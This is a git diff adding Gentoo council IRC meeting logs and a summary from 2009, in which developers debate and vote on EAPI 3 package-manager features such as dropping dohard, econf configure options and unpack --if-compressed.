+21:05 < ciaranm> there's no guarantee it'll work even for the same directory. not all filesystems do hardlinks at all.
+21:05 <@lu_zero> in that case it fallsback to symlink?
+21:05 < ferringb> ick
+21:05 < jmbsvicetto> Isn't a "best effort" better than nothing at all?
+21:05 < ferringb> usual fallback for hardlink is a seperate copy
+21:05 <@Cardoe> not all filesystems support symlinks as well
+21:05 < ciaranm> lu_zero: no, there's a fallback to a copy
+21:05 <@leio-dl> yes, the documentation implying that there is a guarantee should be changed then
+21:06 < ciaranm> Cardoe: if there's no symlink support you can't install gentoo onto it
+21:06 <@Betelgeuse> Do we support file systems with no hardlinks on system partitions?
+21:06 <@Cardoe> ciaranm: I'll make Gentoo on vfat a reality someday ;)
+21:06 < ciaranm> Betelgeuse: yes
+21:06 <@lu_zero> which ones?
+21:07 <@leio-dl> if it's not technically possible, it'll make a copy. But if a hard link is useful instead of a copy when it's possible to have on the partitions involved...
+21:07 <@Betelgeuse> I wonder how much upstream software relies on hardl inks.
+21:08 <@leio-dl> well, probably not much that would fall over if it's a copy instead
+21:08 <@lu_zero> is dohard used widely?
+21:08 <@leio-dl> but a copy takes space
+21:08 <@dev-zero> lu_zero: no
+21:08 < ciaranm> dohard's not used widely and mostly used incorrectly
+21:08 < ferringb> hardlinks have other issues anyways... they're not really represented in the vdb at all
+21:09 < ferringb> treated as a seperate copy there (chksums and all)
+21:09 <@dberkholz> dohard is used by 6 packages
+21:10 <@dberkholz> streamixer, nbsmtp, w3mimgfb, mailwrapper, pipes, cdecl
+21:10 <@dev-zero> and one of them does a hardlink across directories
+21:10 <@leio-dl> that's orthogonal - proper hard link support is necessary either way. Some packages standard install scripts can do hard links (see dev-util/git)
+21:10 <@dberkholz> all of them stay within /usr/{bin,lib,sbin}
+21:11 < ciaranm> proper hard link support can't be guaranteed. having a dohard's just encouraging people to use something that might not work.
+21:11 <@leio-dl> so in a common scenario of that being mounted on / or /usr, the hard link is technically working
+21:11 <@leio-dl> (not guaranteed)
+21:11 <@dev-zero> dberkholz: nope, nbsmtp doesn't
+21:12 <@Betelgeuse> well dohard would become fatal in EAPI 3 so if there's no hard link support it would not succeed
+21:12 < ciaranm> there was one filesystem a while back (coda? i forget) that only allowed hardlinks that were in the same directory, regardless of cross-fs
+21:12 <@lu_zero> hmm
+21:12 <@Betelgeuse> so you would not end up in an unwanted state
+21:12 <@dberkholz> dev-zero: what does nbsmtp do outside of /usr/bin, /usr/lib, and /usr/sbin? is my grep broken?
+21:12 <@leio-dl> I don't think it should become fatal. So I guess we need some changes anyway in what it does
+21:13 < ferringb> unionfs likely allows for inter-directory hardlink failure btw
+21:13 <@lu_zero> I'd keep it for now and try to overhaul it a bit
+21:13 <@Betelgeuse> Is it useful enough to keep a complicated spec?
+21:13 <@Betelgeuse> Just use ln || die for current usage?
+21:13 <@dev-zero> dberkholz: it links from /usr/bin to /usr/lib and with split-debug info in /usr/lib some user might get the idea to put that one on a separate volume
+21:14 <@dev-zero> dberkholz: probability is low, the case probably doesn't exist, but...
+21:14 <@dberkholz> i think that is a good point from Betelgeuse. we should focus on the core things that get done often as ebuild-specific features, and let people do rare things by hand
+21:14 < ferringb> Betelgeuse: || die doesn't do jack though since when it would fail is during merge
+21:14 <@Betelgeuse> If people want to shape it up, it can come back later.
+21:15 <@Betelgeuse> ferringb: true
+21:15 < ciaranm> ln can fail at build time
+21:15 < ciaranm> the || die is still useful
+21:16 < ferringb> eh, only in build
+21:16 < ferringb> binpkg is completely exempted there, so it's not a good gurantee
+21:16 < ferringb> can only check in preinst, which would suck
+21:16 <@Betelgeuse> ferringb: but dohard suffers the same thing any way
+21:16 <@Betelgeuse> so ot
+21:17 < ciaranm> just tell people to use symlinks. far easier.
+21:17 <@leio-dl> dohard - Create a hardlink to the first argument from the second argument, when possible on the system. Otherwise copies first argument to second argument.
+21:17 <@leio-dl> is what I would propose as an alternative then
+21:17 < ciaranm> leio-dl: bleh. that's not what it does.
+21:17 < ferringb> that's what it should do however
+21:17 < ciaranm> leio-dl: dohard can't even know whether it'll work later on
+21:17 <@leio-dl> that's what I propose it to do in EAPI-3 instead of banning. We need to change something as the stuff would die by default otherwise
+21:18 < ferringb> ciaranm: dohard is enough of a hook that the pm can track that request and try to honor it at merge time
+21:18 < ciaranm> ferringb: but it can't provide that information up-front, which is what leio-dl's saying it has to do
+21:18 <@leio-dl> it doesn't need to provide anything up front
+21:19 <@leio-dl> with that alternative description the package manager at merge time does what it can
+21:19 < ferringb> ciaranm: different reading there.  I interpret most of that as merge time rather then just build.
+21:19 <@dberkholz> we're running over and i need to get going.
+21:19 < ciaranm> leio-dl: the way you have it worded, ebuilds are allowed to dohard, then check whether it did a copy or a link, and do something different depending upon the two as a result
+21:19 < ferringb> ciaranm: my standpoint, once it goes into ${D}, the ebuild shouldn't be screwing with it.
+21:19 <@dberkholz> do you want to continue the discussion about this and --if-compressed?
+21:19 < ciaranm> and the econf options stuff, that has a no
+21:19 <@dberkholz> oh yeah, missed that one.
+21:19 < ferringb> although yes that can make perms slightly tricky (did the hardlink succeed?  if not, I need to chmod it... etc).
+21:20 -!- maekke [n=maekke@gentoo/developer/maekke] has quit [Client Quit]
+21:20 <@dertobi123> can we make it another meeting then, next week or so?
+21:20  * ciaranm cries
+21:20 < ciaranm> can we just go with the majority for the sake of finally getting this done?
+21:20 <@dev-zero> jup
+21:20 <@dertobi123> if we're not going to discuss everything for another 30 minutes each?
+21:20 <@leio-dl> I need to go afk for 3 minutes
+21:20 < ferringb> next meeting.  I dislike rushing stuff that folks don't fully agree on...
+21:20 -!- spitfire__ [n=none@abja91.neoplus.adsl.tpnet.pl] has joined #gentoo-council
+21:21 <@dev-zero> ahem, we had a couple of weeks time to think it through, there was the list request
+21:21 <@dev-zero> no running anymore, please
+21:21 <@dberkholz> and yet people continue to have things to discuss, as evidenced by this meeting
+21:22 < ciaranm> this should have been over weeks ago. unfortunately some people want to be council members for one hour a week.
+21:22 < ferringb> dev-zero: mean it nicely, but there are two options there- 1) folks don't give a damn, 2) consensus ain't there.  if it's #1, hey, force it through.  #2 however...
+21:22 < ferringb> dev-zero: so find out who truly gives a damn ;)
+21:22 < bonsaikitten> grumble.
+21:22 < NeddySeagoon> reconviene another day, it need not be next meeting
+21:23 <@Betelgeuse> Let's just put the yesses here: 1. yes
+21:23 <@dev-zero> yes, yes from me
+21:23 <@dertobi123> and yes from me
+21:23 <@Betelgeuse> one more and we are done
+21:24 <@dberkholz> what are we even voting on here, dohard or everything left on the list
+21:24 <@leio-dl> I just hope everyone understands the implications here.
+21:24 <@Betelgeuse> dberkholz: banning dohard/dosed
+21:24 <@dev-zero> both of it
+21:24 <@Betelgeuse> I don't see the complexity being worth it
+21:24 <@leio-dl> dohard was discussed by me long ago. No-one ever replied to me
+21:25 <@dberkholz> i don't care about dohard
+21:25 <@Betelgeuse> leio-dl: you mean a couple packages just use symlinks?
+21:25 <@dberkholz> i am fine with removing it. not like EAPI=2 is going to disappear tomorrow
+21:25 <@Betelgeuse> leio-dl: they don't even have to migrate to EAPI 3
+21:25 <@leio-dl> until you need to use both dohard and a EAPI=3 feature
+21:26 <@Betelgeuse> leio-dl: there's nothing in the tree that needs dohard
+21:26  * lu_zero doesn't care about dohard that much as well
+21:26 <@leio-dl> maybe that's because portage hard link handling was quite broken until January this year
+21:26 <@dertobi123> so we have 4,5 yes for now, right?
+21:27 <@dberkholz> doesn't that just prove it wasn't needed?
+21:27 <@dertobi123> can we move on then, please?
+21:27 <@leio-dl> I don't care about dohard very hard(sic) either, but I am making myself care as one of the representatives of the electorate. Lets put it that way.
+21:27 <@Betelgeuse> I see dosym as better than falling back on copies
+21:27 <@leio-dl> fine, lets ban it and move on.
+21:27 <@leio-dl> there are technical reasons to use hard links instead of symlinks
+21:27 -!- nirbheek [n=nirbheek@gentoo/developer/nirbheek] has joined #gentoo-council
+21:27 <@leio-dl> where a copy is better than a symlink
+21:28 <@Betelgeuse> sure but doesn't see a big need for stuff ebuidls manually install
+21:28 < ciaranm> econf options!
+21:28 < ciaranm> four yes, one no from leio-dl
+21:28 <@dberkholz> ok, we've pretty much finished up with removing dohard.
+21:28 <@leio-dl> I am fine with --disable-dependency-tracking
+21:28 <@leio-dl> --enable-fast-install is just irrelevant. There is even no reasoning of why that should be passed
+21:29 <@leio-dl> The bug just had the bug subject changed to include --enable-fast-install with not even a mention in comments of why the change of title
+21:29 <@leio-dl> --enable-fast-install is a libtool specific option, which is already the default
+21:30 <@Betelgeuse> so no harm in including it?
+21:30 -!- hkBst [n=hkBst@gentoo/developer/hkbst] has quit [Read error: 104 (Connection reset by peer)]
+21:30 <@leio-dl> there is the same harm as --disable-dependency-tracking, instead in this case there is no gain either
+21:30 <@leio-dl> hand-made configure scripts might very well implement all the other options, because they are standard in autoconf
+21:30 <@dberkholz> ebuilds would be a lot longer if we respecified every default configure option
+21:31 <@leio-dl> but no-one will want to implement all these libtool configure arguments when they aren't even using libtool
+21:31 <@Betelgeuse> I foudn ciaranm's argument about ignoring unknown options valid
+21:31 <@leio-dl> and those that do use libtool, already have --enable-fast-install as the default unless the upstream package maintainer has specifically requested it to not be (which I have never seen
+21:31 < ciaranm> the hand-made thing is a straw man
+21:31 <@Betelgeuse> libtool might change default
+21:32 <@dberkholz> so might everything else, and yet we don't specify every single option
+21:32 < ciaranm> we still haven't found a hand-made configure script that works with all the mess we already pass but not with the two new ones
+21:32 <@Betelgeuse> vote:
+21:32 <@Betelgeuse> 1.yes
+21:32 <@dberkholz> i'm for dep tracking, against fast-install
+21:32 <@leio-dl> also, there is not even any word from the one who has "requested" it
+21:32 <@leio-dl> not sure why this is even considered as part of EAPI-3 (--enable-fast-install)
+21:33 <@leio-dl> a bug title was changed with no explanation. That's it.
+21:33 < ferringb> ciaranm: about the only one I'd expect is mplayer, due to them mangling the crap out of their script.  still would be rather unlikely to be affected...
+21:33 <@lu_zero> I'm for dep tracking, not fast install
+21:33 <@dev-zero> I'm for both
+21:33 <@leio-dl> bug 211529 is the one in question
+21:33 < Willikins> leio-dl: https://bugs.gentoo.org/211529 "[Future EAPI] have econf run ./configure with --disable-dependency-tracking and --enable-fast-install"; Gentoo Hosted Projects, PMS/EAPI; NEW; nyhm@g.o:pms-bugs@g.o
+21:33 <@leio-dl> you will note that the title was changed with no comment, and there is no mention of fast-install anywhere in the content.
+21:33 <@dertobi123> i'm with lu_zero and dberkholz on that
+21:33 <@lu_zero> ferringb mplayer and ffmpeg are better left w/out econf
+21:34 <@leio-dl> I'm against --enable-fast-install, whatever with --disable-dependency-tracking
+21:34 <@leio-dl> so we have 4 no's
+21:34 <@dberkholz> ok, that's enough folks
+21:34  * ciaranm updates
+21:34 <@dberkholz> plus on --disable-dependency-tracking, minus on --enable-fast-install
+21:34 < ferringb> lu_zero: tend to agree.  either way, only potential I could think of
+21:35 <@leio-dl> when libtool changes default, we can reconsider
+21:35 <@dberkholz> last topic is unpack --if-compressed only allowing known suffixes
+21:35 < ciaranm> unpack --if-compressed. two yes, one no from dberkholz, one query from leio-dl which i think was just about messed up wording in pms
+21:35 -!- spitfire_ [n=none@abjg217.neoplus.adsl.tpnet.pl] has quit [Read error: 110 (Connection timed out)]
+21:36 <@dberkholz> i think it's annoying to need --if-compressed for all unknown formats even though they may not be compressed at all
+21:37 <@leio-dl> no, it was uncertainty of the same thing dberkholz is against
+21:37 < ciaranm> what it means is that unpack foo.txt will now die, unless you do unpack --if-compressed foo.txt
+21:37 <@dev-zero> I think it's easy for people to specify --if-compressed in case they have an A mixed of compressed and uncompressed stuff
+21:37 <@leio-dl> why have to pass it at all
+21:38 < ciaranm> well, we could just make unpack foo.txt utterly fatal, but there are times it's convenient when foo.txt is part of something else
+21:38 <@leio-dl> PM already has a list of extensions it needs to unpack. We make things hard for ebuild developers because we think they don't know if the extension they write in SRC_URI is not a common pack format?
+21:39 <@dberkholz> perhaps adding a few of the most common uncompressed suffixes would help
+21:39 < ciaranm> it's not making things for ebuild developers at all. it's making it easier for them.
+21:39 < ferringb> seems like a rather zealous safety feature more annoying then useful
+21:39 <@dberkholz> my main annoyances are .txt files and scripts
+21:39 <@dberkholz> .sh, .py, .pl
+21:40 <@leio-dl> how is it easier if they have to now pass --if-compressed to places when there is no reason right now and it works fine that way
+21:40 < ciaranm> dberkholz: and how often do you pass those to unpack?
+21:40 <@dberkholz> every time i don't define a custom src_unpack...
+21:40 < ferringb> ciaranm: how does it make it easier?  For the vast majority they won't even need it- for those that do, unpack just doing a cp if it's an unknown format seems way simpler
+21:40 < ciaranm> dberkholz: uh, no. check the default src_unpack in eapi 3
+21:40 <@dev-zero> c
+21:41 < ferringb> it's not like this is an error that'll silently slip by also ;)
+21:41 <@dev-zero> dberkholz: meaning that default src_unpack is passing --if-compressed
+21:41 < ciaranm> ferringb: it's highly unobvious when people do unpack foo.xz and foo.xz silently gets passed through ununpacked
+21:41 <@dertobi123> i'm merely "whatever" on that, but we do specify a list of extensions to unpack - therefore it implicitly is defined how to act on extensions not-specified-for-compression. no need to define that again.
+21:41 < ferringb> ciaranm: not really.  the build blows the hell up shortly there after
+21:42 < ciaranm> ferringb: and people wonder why, especially with some extensions being eapi dependent
+21:42 < ferringb> personally, I consider it a daft feature- it'd be less annoying if it was inverted (--all-compressed)
+21:42 < ciaranm> experience has shown that you very rarely have to specify it
+21:43 <@dberkholz> so, if it's in the default to ignore them, then how is it even a useful thing to add?
+21:43 < ferringb> raising the question of it's usefulness in light of the build blowing up if they screw up anyways
+21:43 < ciaranm> dberkholz: stick 'unpack foo.xz' in an ebuild right now. it will silently do nothing.
+21:44 <@dertobi123> as expected
+21:44 <@dberkholz> same as would happen if i stuck foo.cx in SRC_URI and didn't have src_unpack
+21:44 <@leio-dl> adding --if-compressed also means all eclasses that export src_unpack need to make yet another EAPI conditional in there (unless they call default too)
+21:44 < ciaranm> try 'gunzip foo.txt'
+21:44 <@dberkholz> now, i'll get different behavior in those two scenarios because default_src_unpack is passing extra nondefault options
+21:44 < ciaranm> dberkholz: no you wouldn't, because you'd just call 'default'
+21:45 < ciaranm> the *only* thing this alters is where people explicitly call 'unpack'
+21:45 < ferringb> eclasses...
+21:46 < ciaranm> eclasses are already conditionaling that lot because of src_prepare, and usually don't need to mess with src_unpack at all in EAPI 2+
+21:47 < ciaranm> there really aren't that many unix apps that silently do nothing if you give them a file parameter that they don't support
+21:47 <@leio-dl> they do
+21:47 <@leio-dl> a common src_unpack in an eclass is
+21:48 <@leio-dl> eclass_src_unpack() {
+21:48 <@leio-dl>         unpack ${A}
+21:48 <@leio-dl>         cd "${S}"
+21:48 <@leio-dl>         has ${EAPI:-0} 0 1 && gnome2_src_prepare
+21:48 <@leio-dl> }
+21:48 <@leio-dl> I guess maybe it shouldn't export src_unpack with EAPI-2+ then
+21:48 < ciaranm> that should be rewritten the clean way
+21:48 <@leio-dl> but we must do that export
+21:49 <@leio-dl> and we can't call default unless there is an additional check in there. unpack ${A} cd "${S}" if EAPI<2, otherwise default
+21:49 <@dberkholz> ciaranm: so in what cases would people be calling unpack in EAPI=3?
+21:49 < ciaranm> dberkholz: in fancy cases like having to unpack one tarball in one place, then cd to a subdirectory and unpack a second tarball
+21:50 <@dberkholz> this seems like a lot of special casing for unlikely scenarios
+21:51 < ciaranm> by that argument, you could say that giving people explicit access to 'unpack' is unlikely
+21:51 <@dberkholz> yep, you could.
+21:51 < ciaranm> it still happens often enough that unpack is useful, and that it should behave sanely on error
+21:51  * ferringb still says invert the bugger... preserves the common case without detriment while covering the potential ciaran is worried about
+21:52 < ferringb> or nuke the proposal. ;)
+21:52 < ciaranm> if you invert it no-one will remember to use it. also, i can't think of any unix apps that work that way around.
+21:53 < ciaranm> silently ignoring failures is highly weird
+21:53 < ferringb> I'd rather it just cp it over if it's not a supported extension
+21:53 <@dberkholz> i feel like parameters should get added in the special cases, not by default
+21:53 < ciaranm> that'd change existing behaviour
+21:54 < ferringb> re: unixy, if we were talking about -stupid-mplayer-options vs --stupid-mplayer-options, sure, applicable; this is core logic of our own defined func, so... unix traditions apply only so far.
+21:54 < ciaranm> dberkholz: the special case *is* "i want this argument i'm explicitly specifying to be ignored"
+21:54 < ferringb> dberkholz: you nailed my view.
+21:55 <@dberkholz> except that special case happens every time you do SRC_URI="foo.tgz bar.txt" and don't define src_unpack
+21:55 < ciaranm> but then you're not dealing with unpack yourself, so it's irrelevant
+21:56 -!- nirbheek [n=nirbheek@gentoo/developer/nirbheek] has quit [Read error: 60 (Operation timed out)]
+21:56 <@dberkholz> i don't think i'll ever be calling unpack again either way, so i'm not really going to spend any more time on this
+21:57 <@dberkholz> any other council members want to say something, or ready to vote?
+21:57 <@dev-zero> I vote yes
+21:57 <@dertobi123> ready to vote and no
+21:57 <@lu_zero> no as well
+21:58 < ciaranm> Cardoe and Betelgeuse were yes before the meeting, dunno about now
+21:58 <@leio-dl> some points were brought up that when thinking more about I _might_ change my mind, but a no right now
+21:59 <@Cardoe> ciaranm: hmm?
+21:59 <@dberkholz> Cardoe: on --if-compressed
+22:00 <@Cardoe> oh
+22:00 <@Cardoe> Did we extend the meeting length?
+22:01 -!- Netsplit hubbard.freenode.net <-> irc.freenode.net quits: kallamej, GrantN05, dleverton, wrona
+22:01 <@dberkholz> felt like actually getting through EAPI=3 today
+22:01 <@dertobi123> Cardoe: obviously yes :P
+22:01 -!- billie80 [n=billie@dslb-094-218-009-031.pools.arcor-ip.net] has joined #gentoo-council
+22:01 <@dberkholz> and this is the last bit
+22:01 <@Cardoe> wish that had gone out in the e-mail
+22:01 <@leio-dl> there was also SLOT-OPERATOR-DEPS
+22:02 <@dberkholz> well, it didn't get extended till we were about out of time and decided we wanted to extend
+22:02 <@dberkholz> it's not an advance notice thing
+22:02 -!- Netsplit over, joins: dleverton, wrona, kallamej, GrantN05
+22:02  * ferringb still wants mtime (in one form or another) yayed nayed, although unlikely considering folks ignoring it :P
+22:02 <@dberkholz> i can finish this, then i'm done
+22:02 <@dertobi123> so can we finish --if-compressed, please?
+22:02 <@dberkholz> i cannot take any more time out of work
+22:02 <@Cardoe> sure
+22:02 <@Cardoe> I was a yes on it
+22:03 <@leio-dl> the point was to understand the no-sayers view and then perhaps that changes
+22:03 <@leio-dl> but I think we have 4 no's anyway, don't we?
+22:03 < ciaranm> leio-dl: only if you're voting no
+22:03 <@dberkholz> i haven't changed my opinion
+22:04 < ciaranm> dberkholz, dertobi123 and lu_zero said no, Cardoe and dev-zero said yes, Betelgeuse isn't here but said yes in his email
+22:04 <@Betelgeuse> People oppose --if-compressed by default in src_unpack I presume? It will still be added to unpack as an option?
+22:04 < ciaranm> Betelgeuse: no, they're opposing it entirely
+22:04 <@leio-dl> it's about the option I believe.
+22:04 < ciaranm> the option and the src_unpack pretty much have to go together
+22:04 <@leio-dl> If the option is voted to happen, most will want that option passed in default_src_unpack I bet
+22:04 <@dberkholz> if it's on by default so often, it's not really a useful validation
+22:05 <@Betelgeuse> leio-dl: eclass authors can still decided on way or the other
+22:05 <@dev-zero> leio-dl: that's already the case in eapi-3
+22:05 < ciaranm> --if-compressed without the default src_unpack is a very bad idea and if anyone calls for that i'll yell lots and lots
+22:05 <@leio-dl> yes, the change of src_unpack seems to be the same item in the consideration list.
+22:06 <@leio-dl> I vote no
+22:06 < ciaranm> lame!
+22:06 <@Betelgeuse> do we still have something left?
+22:06 <@leio-dl> I would vote yes for a --all-compressed option
+22:06 < ciaranm> looks like it's out :(
+22:06 <@dertobi123> it is
+22:06 <@leio-dl> I have reservations about :* syntax that I didn't manage to think through today
+22:07 <@dberkholz> i need to leave now
+22:07 < ciaranm> slot-operator-deps is down as two critical, three yes and a query from leio-dl
+22:07 <@leio-dl> I am not opposed to the feature by concept. A query means something is missing from making a yes or no decision I think.
+22:08 <@Cardoe> ciaranm: so are you saying you're opposed to --if-compressed? Wasn't it your proposal?
+22:08 <@dberkholz> leio-dl: can you post your query by monday so we can nail that down by next thursday?
+22:08 < ciaranm> Cardoe: no, i'm saying i want --if-compressed, and i think you all suck for not going for it
+22:08 <@dberkholz> other than that, EAPI=3 is good to go
+22:08 <@leio-dl> I have a visitor till Monday
+22:08 < ferringb> heh
+22:08 <@Cardoe> ciaranm: oh. I agree
+22:08 <@leio-dl> so I'm not sure I can do Monday. I can promise Tuesday
+22:09 <@Betelgeuse> dberkholz was talking about Thursday
+22:09 <@leio-dl> I think the implementation can start for portage
+22:09 <@dberkholz> ok, we've made a decision, and this is the part where you guys support the council even though you disagreed with it, because you got to speak up =)
+22:09 < ciaranm> quick! four people vote yes to slot-operator-deps so we can just approve the frickin' thing right now
+22:09 <@Cardoe> Can someone ensure the FULL log is posted somewhere so I can read it on my next plane flight?
+22:09 <@Cardoe> ciaranm: didn't I already say yes?
+22:09 <@dberkholz> Cardoe: you were on irc the whole time, don't you log?
+22:09 < ciaranm> Cardoe: yes, but you need to say so now for it to count as not being deferred
+22:09 <@Cardoe> ciaranm: well then yes
+22:09 <@Cardoe> dberkholz: not on this client
+22:10 <@dev-zero> ahem, what's the point of waiting for slot-op-deps if most people aren't going to change their minds?
+22:10 <@leio-dl> please by all means start implementing slot-op-deps
+22:10 <@dev-zero> and why did we extend the meeting time to bring through the issues when we wait again?
+22:10 <@leio-dl> I do not want to see it not be part of EAPI-3
+22:11 <@dev-zero> so, then lets vote
+22:11 < ciaranm> we're deferring because leio-dl has unspecified objections to slot-operator-deps that he hasn't brought to the list yet
+22:11 <@Betelgeuse> yes
+22:11 <@Cardoe> if you guys marked me as deferred on any items I already commented on in my e-mail then you can simply change my vote to what I put in my e-mail
+22:11 <@dev-zero> and nail that thing done for once
+22:11 <@Cardoe> leio-dl: ok so change to yes
+22:11 < ciaranm> that's yes from dev-zero, Betelgeuse and Cardoe. please one more. make my life easier!
+22:11 <@dertobi123> yes and good night
+22:12 < ciaranm> \o/
+22:12  * dertobi123 gotta go to bed
+22:12 <@dev-zero> yes from me
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090514-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090514-summary.txt
new file mode 100644
index 00000000..52138a4b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090514-summary.txt
@@ -0,0 +1,62 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: absent, receives slacker mark
+dberkholz: proxied by ssuominen
+dertobi123: proxied by ulm
+dev-zero: here
+leio: here
+lu_zero: here 
+tanderson(secretary): physically late, irc client logged everything
+
+Topics:
+===========
+
+    - Approve wording of PMS for EAPI 3
+        This call for approval comes from the perspective that package manager
+        developers currently do not know the specifics of what to code for
+        EAPI 3. With this approved package manager developers can write code
+        and testcases for each feature and know that the specifics of each
+        feature is final(some features may be removed however).
+
+        Conclusion:
+            Approved, EAPI 3 specifications have been merged to the main PMS
+            repository. EAPI 3 will be tagged when developers are able to use
+            it.
+
+    - Vote on GLEP 54
+        This vote was called for by dertobi123. The vote was on whether to
+        approve GLEP 54 conditional on whether GLEP 55 is passed. The reason
+        for this is that GLEP 54 is unimplementable without the problems
+        mentioned in GLEP 55 being solved.
+
+        Conclusion:
+            Conditionally approved on whether GLEP 55 is approved.
+
+    - Vote on GLEP 55
+        A vote was required on this GLEP since GLEP 54 was already passed
+        conditional on this vote. 
+
+        Conclusion:
+            After quite a bit of confusion in the voting(people changing their
+            votes), a tie(3-3) vote was reached. Therefore, no decision was
+            reached. This vote will be brought up again next meeting so that
+            the tie can be broken(hopefully with everyone present).
+
+    - Discussion of dropping static libraries automatically.
+        Peter Alfredsen(loki_val) asked the council to discuss the ability to
+	    automatically drop static libraries from installs and the best way to
+	    do so.
+
+	    Conclusion:
+		    The council unanimously voted that developers, at their
+            discretion, can drop static libraries but it will not be the
+            default. The council also expressed support for an EAPI 4 proposal 
+            to automatically disable static libraries via configure options.
+
+    - Council Election Update
+        The election team decided to hold nominations for the Gentoo Council
+        from June 1st to June 14th with the voting period running from June
+        16th to June 30th. Results will likely be announced on July 2nd. The
+        election officials for this election are NeddySeagoon, rane, and
+        jmbsvicetto with fox2mike as the infrastructed liaison.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090514.txt b/xml/htdocs/proj/en/council/meeting-logs/20090514.txt
new file mode 100644
index 00000000..b9a5f65f
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090514.txt
@@ -0,0 +1,566 @@
+20:01 -!- dev-zero changed the topic of #gentoo-council to: Meeting started || Meeting agenda here: http://dev.gentoo.org/~dev-zero/council/meeting-agenda-20090514.txt
+20:01 <@dev-zero> roll-call please?
+20:01 <@leio> here
+20:01 <@lu_zero> here
+20:02 < ulm> here (proxying dertobi123)
+20:02 < ssuominen> here (proxying dberkholz)
+20:03 <@dev-zero> Cardoe: ping?
+20:03 <@dev-zero> tanderson: ping?
+20:03 <@dev-zero> zmedico: ping?
+20:04 <@dev-zero> well, then let's start with the first topic and hope the others get here as soon as possible
+20:04 <@dev-zero> zmedico promised an updated on the progress of the implementation
+20:05 <@dev-zero> anyone knows something about it?
+20:05 -!- darkside_ [n=darkside@gentoo/developer/darkside] has joined #gentoo-council
+20:06 <@Betelgeuse> I can take a look at svn log to see if there's anything
+20:06 <@dev-zero> Betelgeuse: yes, please :)
+20:08 <@Betelgeuse> I don't immediately see anything
+20:09 <@dev-zero> good, ok, state didn't change then, two smaller features are implemented then
+20:09 <@dev-zero> Betelgeuse: thanks
+20:09 <@Betelgeuse> Add dummy dosed and dohard functions for EAPI 3, so that a trace can be
+20:09 <@Betelgeuse> something but not much
+20:09 <@dev-zero> and 'dodoc -r'
+20:09 <@dev-zero> which was also one of the easiest features
+20:10 <@dev-zero> I'd say let's move to the next task if nobody objects
+20:10 <@dev-zero> EAPI 3: PMS approval
+20:10 <@dev-zero> the idea is to approve the wording of the EAPI 3 part of the PMS formally
+20:11 <@lu_zero> I'd like to have a clean diff
+20:11 <@Betelgeuse> What's the need before Portage is even half way there?
+20:11 < ssuominen> Did EAPI 3 contain a suitable replacement for "prepalldocs" and "ecompress" which are both used in tree now, and for a reasons that can't be worken out
+20:11 <@lu_zero> ciaranm there is a tag to use or I should dig the log?
+20:11 <@dev-zero> ssuominen: yes, docompress
+20:11 < ciaranm> lu_zero: just diff the heads on the official version and the eapi 3 branch
+20:11 <@leio> I don't feel comfortable with giving things an official stamp when there is no implementation in the official package manager. However I do want to signal that the feature list is final when while doing the official implementation nothing appears to need changes, and I believe I did that with my vote about EAPI-3 last time
+20:12 <@lu_zero> ciaranm ok
+20:12 < ciaranm> leio: we want approval on the wording now, not the feature list
+20:12 <@leio> I see no reason to need such an approval now
+20:12 <@dev-zero> Betelgeuse: well, the most complicated features to implement are probably the slot-operators and the use-specifiers
+20:13 < ciaranm> lu_zero: you could've asked me two weeks ago when the item was first sent out...
+20:13 < ssuominen> dev-zero: but say one does, mansuffix="$(ecompress --suffix)" and then dosym /usr/share/man/man1/foo.1${mansuffix} usr/share/man/man1/bar.1${mansuffix}
+20:13 < ssuominen> dev-zero: how would docompress work on such case?
+20:13 <@dev-zero> Betelgeuse: the rest is basically bash stuff which could be done by everyone
+20:13 < ciaranm> ssuominen: ecompress isn't in any EAPI
+20:14 < ulm> ssuominen: docompress has no substitute for that
+20:14 < ssuominen> i'm fine with the eapi3 as is, but this is the part that's been buggering me..
+20:14 <@leio> ulm: can you comment on that approval need as a PMS representative of gentoo?
+20:14 < ssuominen> no way to symlink manpages in src_inst..
+20:14 < ciaranm> in any case, the wording's not changed for two weeks, and you've had two weeks asking to send any questions...
+20:14 < ciaranm> ssuominen: uh, yes there is
+20:15 < ciaranm> ssuominen: pms is quite clear about that
+20:15 < ulm> leio: seems to me that the eapi 3 features were already approved at last meeting?
+20:15 < dleverton> ssuominen: IIRC the portage compression handles symlinks transparently already, so if you symlink to foo.1, it'll rewrite it to foo.1.bz2 or whatever.
+20:15 <@leio> ulm: what kind of approval is ciaranm wanting here that is necessary?
+20:16 <@dev-zero> lu_zero: about the diff, you can use the app-doc/pms ebuild with USE=eapi3-draft which colors the differences
+20:16 <@lu_zero> dev-zero thank you
+20:16 < ssuominen> dleverton: oh.. lemme try that, but this would only work in src_, not in pkg_postinst? there's the legacy update-alternatives.eclass
+20:16 < ulm> leio: from my point of view we could postpone that until after an implementation is ready
+20:17 < ssuominen> dleverton: e.g. xloadimage is using the symlinking in postinst, that's after the install func has processed the compression
+20:17 < dleverton> ssuominen: yeah, only src_install as far as I know.  Is that eclass still used?
+20:17 < ciaranm> ulm: thanks for consulting with the rest of the pms team about that back when we first asked for approval
+20:17 < ssuominen> dleverton: see xli or xloadimage's ~ ebuilds for example
+20:17 < dleverton> Hmm
+20:18 < dleverton> You could probably check the contents of ${D} in pkg_preinst
+20:18 <@leio> no reason has been provided why an approval of the final text is necessary
+20:18 < ssuominen> dleverton: i'm not saying i want to keep it around, i'm entirely fine with the concensus "if ecompress is no longer allowed, we need to kill update-alternatives.eclass"
+20:18 <@leio> so actually having portage implementations first makes sense
+20:18 < ciaranm> leio: so we can go ahead and implement it without having to worry that the wording will be changed
+20:18 < ulm> ciaranm: imho the text is good for approval, but why the haste?
+20:19 < ciaranm> ulm: because without approval, we can't get implementations ready
+20:19 <@leio> ciaranm: who is worrying about that?
+20:19 -!- igli [n=igli@fu/coder/igli] has joined #gentoo-council
+20:19 <@dev-zero> ulm: we have to approve it at some point
+20:19 < ciaranm> leio: everyone who wants to implement it without having to worry that someone will come along and change, say, the src_install wording
+20:20 <@leio> the features are already approved
+20:20 < ciaranm> the features, not the details
+20:20 <@lu_zero> ciaranm I'd rather have incremental drafts of both
+20:20 < ciaranm> what we have is approval of the features, in general. what we need now is approval of the wording of the details, subject to the usual "we fix it if it goes wrong"
+20:21 <@dev-zero> ciaranm: thanks :)
